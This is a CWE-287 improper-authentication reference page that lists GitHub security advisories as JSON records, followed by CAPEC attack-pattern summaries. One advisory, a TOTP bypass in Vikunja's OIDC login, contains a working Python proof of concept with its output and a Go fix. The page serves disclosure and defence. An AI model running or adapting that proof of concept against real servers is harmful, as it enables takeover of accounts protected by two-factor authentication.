CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5964 vulnerabilities reference this CWE, most recent first.
GHSA-8J3J-6W98-M8VR
Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35INplc-RT 3.08 and earlier allows remote attackers to bypass authentication to execute an arbitrary command through the protocol-compliant traffic. This is a different vulnerability than CVE-2018-0669.
{
"affected": [],
"aliases": [
"CVE-2018-0670"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-09T23:29:00Z",
"severity": "CRITICAL"
},
"details": "INplc-RT 3.08 and earlier allows remote attackers to bypass authentication to execute an arbitrary command through the protocol-compliant traffic. This is a different vulnerability than CVE-2018-0669.",
"id": "GHSA-8j3j-6w98-m8vr",
"modified": "2022-05-14T01:35:17Z",
"published": "2022-05-14T01:35:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0670"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN59624986/index.html"
},
{
"type": "WEB",
"url": "http://www.mnc.co.jp/INplc/info_20180907_E.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8J5M-96P7-J6G4
Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2022-05-24 17:01Symantec Critical System Protection (CSP), versions 8.0, 8.0 HF1 & 8.0 MP1, may be susceptible to an authentication bypass vulnerability, which is a type of issue that can potentially allow a threat actor to circumvent existing authentication controls.
{
"affected": [],
"aliases": [
"CVE-2019-18374"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-25T17:15:00Z",
"severity": "HIGH"
},
"details": "Symantec Critical System Protection (CSP), versions 8.0, 8.0 HF1 \u0026 8.0 MP1, may be susceptible to an authentication bypass vulnerability, which is a type of issue that can potentially allow a threat actor to circumvent existing authentication controls.",
"id": "GHSA-8j5m-96p7-j6g4",
"modified": "2022-05-24T17:01:59Z",
"published": "2022-05-24T17:01:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18374"
},
{
"type": "WEB",
"url": "https://support.symantec.com/us/en/article.SYMSA1498.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8J5M-W2V7-MX38
Vulnerability from github – Published: 2024-08-13 21:31 – Updated: 2025-10-22 00:33Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.
{
"affected": [],
"aliases": [
"CVE-2024-7593"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T19:15:16Z",
"severity": "CRITICAL"
},
"details": "Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.",
"id": "GHSA-8j5m-w2v7-mx38",
"modified": "2025-10-22T00:33:05Z",
"published": "2024-08-13T21:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7593"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-7593"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8J85-HMC5-39QQ
Vulnerability from github – Published: 2025-06-09 18:32 – Updated: 2025-06-09 21:30An issue in KeeperChat IOS Application v.5.8.8 allows a physically proximate attacker to escalate privileges via the Biometric Authentication Module
{
"affected": [],
"aliases": [
"CVE-2025-29627"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-09T17:15:28Z",
"severity": "MODERATE"
},
"details": "An issue in KeeperChat IOS Application v.5.8.8 allows a physically proximate attacker to escalate privileges via the Biometric Authentication Module",
"id": "GHSA-8j85-hmc5-39qq",
"modified": "2025-06-09T21:30:50Z",
"published": "2025-06-09T18:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29627"
},
{
"type": "WEB",
"url": "https://github.com/SahilDabhilkar/CVE-Reference/blob/main/CVE-2025-29627.md"
},
{
"type": "WEB",
"url": "https://www.keepersecurity.com"
},
{
"type": "WEB",
"url": "https://www.keepersecurity.com/en_GB/keeperchat.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8JFM-VV5V-4Q3V
Vulnerability from github – Published: 2022-04-12 00:00 – Updated: 2022-04-19 00:01Improper access control vulnerability in S Secure prior to SMR Apr-2022 Release 1 allows physical attackers to access secured data in certain conditions.
{
"affected": [],
"aliases": [
"CVE-2022-25831"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-11T20:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control vulnerability in S Secure prior to SMR Apr-2022 Release 1 allows physical attackers to access secured data in certain conditions.",
"id": "GHSA-8jfm-vv5v-4q3v",
"modified": "2022-04-19T00:01:18Z",
"published": "2022-04-12T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25831"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2022\u0026month=4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8JFX-H6Q2-V4G3
Vulnerability from github – Published: 2022-05-17 03:53 – Updated: 2024-03-05 14:37Session fixation vulnerability in Jenkins before 1.551 and LTS before 1.532.2 allows remote attackers to hijack web sessions via vectors involving the "override" of Jenkins cookies.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.533"
},
{
"fixed": "1.551"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.532.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-2066"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-05T14:37:08Z",
"nvd_published_at": "2014-10-17T15:55:00Z",
"severity": "MODERATE"
},
"details": "Session fixation vulnerability in Jenkins before 1.551 and LTS before 1.532.2 allows remote attackers to hijack web sessions via vectors involving the \"override\" of Jenkins cookies.",
"id": "GHSA-8jfx-h6q2-v4g3",
"modified": "2024-03-05T14:37:08Z",
"published": "2022-05-17T03:53:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2066"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/8ac74c350779921598f9d5edfed39dd35de8842a"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2014-02-14"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/02/21/2"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Jenkins session fixation vulnerability"
}
GHSA-8JJF-JF87-JR8V
Vulnerability from github – Published: 2022-05-17 04:47 – Updated: 2022-05-17 04:47The ZyXEL Wireless N300 NetUSB NBG-419N router with firmware 1.00(BFQ.6)C0 allows remote attackers to bypass authentication by using %2F sequences in place of / (slash) characters.
{
"affected": [],
"aliases": [
"CVE-2014-0353"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-04-15T10:55:00Z",
"severity": "MODERATE"
},
"details": "The ZyXEL Wireless N300 NetUSB NBG-419N router with firmware 1.00(BFQ.6)C0 allows remote attackers to bypass authentication by using %2F sequences in place of / (slash) characters.",
"id": "GHSA-8jjf-jf87-jr8v",
"modified": "2022-05-17T04:47:02Z",
"published": "2022-05-17T04:47:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0353"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/939260"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8JQR-9V8F-R585
Vulnerability from github – Published: 2022-05-01 23:38 – Updated: 2025-04-09 03:52cgi-bin/setup_dns.exe on the Belkin F5D7230-4 router with firmware 9.01.10 does not require authentication, which allows remote attackers to perform administrative actions, as demonstrated by changing a DNS server via the dns1_1, dns1_2, dns1_3, and dns1_4 parameters. NOTE: it was later reported that F5D7632-4V6 with firmware 6.01.08 is also affected.
{
"affected": [],
"aliases": [
"CVE-2008-1244"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-10T17:44:00Z",
"severity": "HIGH"
},
"details": "cgi-bin/setup_dns.exe on the Belkin F5D7230-4 router with firmware 9.01.10 does not require authentication, which allows remote attackers to perform administrative actions, as demonstrated by changing a DNS server via the dns1_1, dns1_2, dns1_3, and dns1_4 parameters. NOTE: it was later reported that F5D7632-4V6 with firmware 6.01.08 is also affected.",
"id": "GHSA-8jqr-9v8f-r585",
"modified": "2025-04-09T03:52:19Z",
"published": "2022-05-01T23:38:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1244"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=371598"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41124"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29345"
},
{
"type": "WEB",
"url": "http://www.gnucitizen.org/projects/router-hacking-challenge"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/489009/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28319"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8JR5-J3C4-59R7
Vulnerability from github – Published: 2022-05-01 18:26 – Updated: 2022-05-01 18:26CFNetwork in Apple Mac OS X 10.3.9 and 10.4 through 10.4.10 does not properly validate certificates, which allows remote attackers to spoof trusted SSL certificates via a man-in-the-middle attack.
{
"affected": [],
"aliases": [
"CVE-2007-4680"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-11-15T01:46:00Z",
"severity": "MODERATE"
},
"details": "CFNetwork in Apple Mac OS X 10.3.9 and 10.4 through 10.4.10 does not properly validate certificates, which allows remote attackers to spoof trusted SSL certificates via a man-in-the-middle attack.",
"id": "GHSA-8jr5-j3c4-59r7",
"modified": "2022-05-01T18:26:08Z",
"published": "2022-05-01T18:26:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4680"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38463"
},
{
"type": "WEB",
"url": "http://docs.info.apple.com/article.html?artnum=307041"
},
{
"type": "WEB",
"url": "http://docs.info.apple.com/article.html?artnum=307563"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2007/Nov/msg00002.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27643"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1018950"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26444"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA07-319A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3868"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0920/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8JVC-MCX6-R4CG
Vulnerability from github – Published: 2026-04-10 15:30 – Updated: 2026-04-10 19:35Summary
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
Details
The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:
return auth.NewUserAuthTokenResponse(u, c, false)
There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:
totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
if u.TOTPPasscode == "" {
_ = s.Rollback()
return user2.ErrInvalidTOTPPasscode{}
}
_, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
User: user,
Passcode: u.TOTPPasscode,
})
When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.
Proof of Concept
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup:
- Vikunja configured with emailfallback: true for Dex
- Local user alice (id=1) has TOTP enabled
import requests, re, html
from urllib.parse import parse_qs, urlparse
TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"
# verify TOTP is required for local login
r = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)
# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
f"&redirect_uri={TARGET}/auth/openid/dex"
f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "alice@test.com", "password": "password"},
allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback",
json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")
user = requests.get(f"{API}/user",
headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed
Output:
Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
Impact
When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.
This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.
Recommended Fix
Add a TOTP check in the OIDC callback before issuing the JWT:
totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
_ = s.Rollback()
return err
}
if totpEnabled {
_ = s.Rollback()
return echo.NewHTTPError(http.StatusForbidden,
"TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)
Found and reported by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34727"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T15:30:57Z",
"nvd_published_at": "2026-04-10T16:16:31Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.\n\n## Details\n\nThe OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup:\n\n```go\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\nThere are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification:\n\n```go\ntotpEnabled, err := user2.TOTPEnabledForUser(s, user)\nif totpEnabled {\n if u.TOTPPasscode == \"\" {\n _ = s.Rollback()\n return user2.ErrInvalidTOTPPasscode{}\n }\n _, err = user2.ValidateTOTPPasscode(s, \u0026user2.TOTPPasscode{\n User: user,\n Passcode: u.TOTPPasscode,\n })\n```\n\nWhen OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with Dex as the OIDC provider.\n\nSetup:\n- Vikunja configured with `emailfallback: true` for Dex\n- Local user `alice` (id=1) has TOTP enabled\n\n```python\nimport requests, re, html\nfrom urllib.parse import parse_qs, urlparse\n\nTARGET = \"http://localhost:3456\"\nDEX = \"http://localhost:5556\"\nAPI = f\"{TARGET}/api/v1\"\n\n# verify TOTP is required for local login\nr = requests.post(f\"{API}/login\",\n json={\"username\": \"alice\", \"password\": \"Alice1234!\"})\nprint(f\"Local login without TOTP: {r.status_code} code={r.json().get(\u0027code\u0027)}\")\n# Output: 412 code=1017 (TOTP required)\n\n# login via OIDC (same flow as VIK-020 PoC)\ns = requests.Session()\nr = s.get(f\"{DEX}/dex/auth?client_id=vikunja\"\n f\"\u0026redirect_uri={TARGET}/auth/openid/dex\"\n f\"\u0026response_type=code\u0026scope=openid+profile+email\u0026state=x\")\naction = html.unescape(re.search(r\u0027action=\"([^\"]*)\"\u0027, r.text).group(1))\nif not action.startswith(\"http\"): action = DEX + action\nr = s.post(action, data={\"login\": \"alice@test.com\", \"password\": \"password\"},\n allow_redirects=False)\napproval_url = DEX + r.headers[\"Location\"]\nr = s.get(approval_url)\nreq = re.search(r\u0027name=\"req\" value=\"([^\"]*)\"\u0027, r.text).group(1)\nr = s.post(approval_url, data={\"req\": req, \"approval\": \"approve\"},\n allow_redirects=False)\ncode = parse_qs(urlparse(r.headers[\"Location\"]).query)[\"code\"][0]\n\nresp = requests.post(f\"{API}/auth/openid/dex/callback\",\n json={\"code\": code, \"redirect_url\": f\"{TARGET}/auth/openid/dex\"})\nprint(f\"OIDC login: {resp.status_code}\")\n\nuser = requests.get(f\"{API}/user\",\n headers={\"Authorization\": f\"Bearer {resp.json()[\u0027token\u0027]}\"}).json()\nprint(f\"User: id={user[\u0027id\u0027]} username={user[\u0027username\u0027]}\")\n# TOTP was completely bypassed\n```\n\nOutput:\n```\nLocal login without TOTP: 412 code=1017\nOIDC login: 200\nUser: id=1 username=alice\n```\n\nLocal login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.\n\n## Impact\n\nWhen an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.\n\nThis vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor.\n\n## Recommended Fix\n\nAdd a TOTP check in the OIDC callback before issuing the JWT:\n\n```go\ntotpEnabled, err := user.TOTPEnabledForUser(s, u)\nif err != nil {\n _ = s.Rollback()\n return err\n}\nif totpEnabled {\n _ = s.Rollback()\n return echo.NewHTTPError(http.StatusForbidden,\n \"TOTP verification required. Please use the local login endpoint.\")\n}\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-8jvc-mcx6-r4cg",
"modified": "2026-04-10T19:35:20Z",
"published": "2026-04-10T15:30:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34727"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/2582"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/b642b2a4536a3846e627a78dce2fdd1be425e6a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path"
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.